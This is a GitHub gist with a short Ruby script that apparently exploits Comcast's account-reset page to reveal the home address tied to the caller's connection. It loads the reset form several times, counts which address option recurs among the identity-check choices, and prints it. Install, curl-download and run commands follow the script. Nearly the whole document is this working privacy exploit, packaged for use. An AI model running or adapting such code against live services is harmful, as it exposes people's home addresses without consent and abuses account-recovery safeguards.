Last active
December 10, 2015 05:38
-
-
Save acidtib/4388650 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
require 'mechanize' | |
puts "Searching for your physical address..." | |
test_results = {} | |
agent = Mechanize.new { |agent| | |
agent.user_agent = 'Comcast Physical Address Ruby Script: https://gist.github.com/4388650' | |
} | |
3.times { | |
page = agent.get("https://login.comcast.net/myaccount/reset") | |
page.forms.last.radiobuttons.each do |button| | |
if test_results[button.value].nil? | |
test_results[button.value]=1 | |
else | |
test_results[button.value]+=1 | |
end | |
end | |
sleep(1) | |
} | |
max = 0 | |
result = nil | |
test_results.each do |key, val| | |
if val > max && val != "None of the above" | |
max = val | |
result = key | |
end | |
end | |
puts "The physical address for this computer is: #{result}" |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
If you don't already have mechanize: gem install mechanize
curl https://gist.github.com/raw/4388650/ce45dd60feccf98942e3349120735eeb3a98156e/physical_address_vulnerability.rb > ~/physical_address_vulnerability.rb
ruby ~/physical_address_vulnerability.rb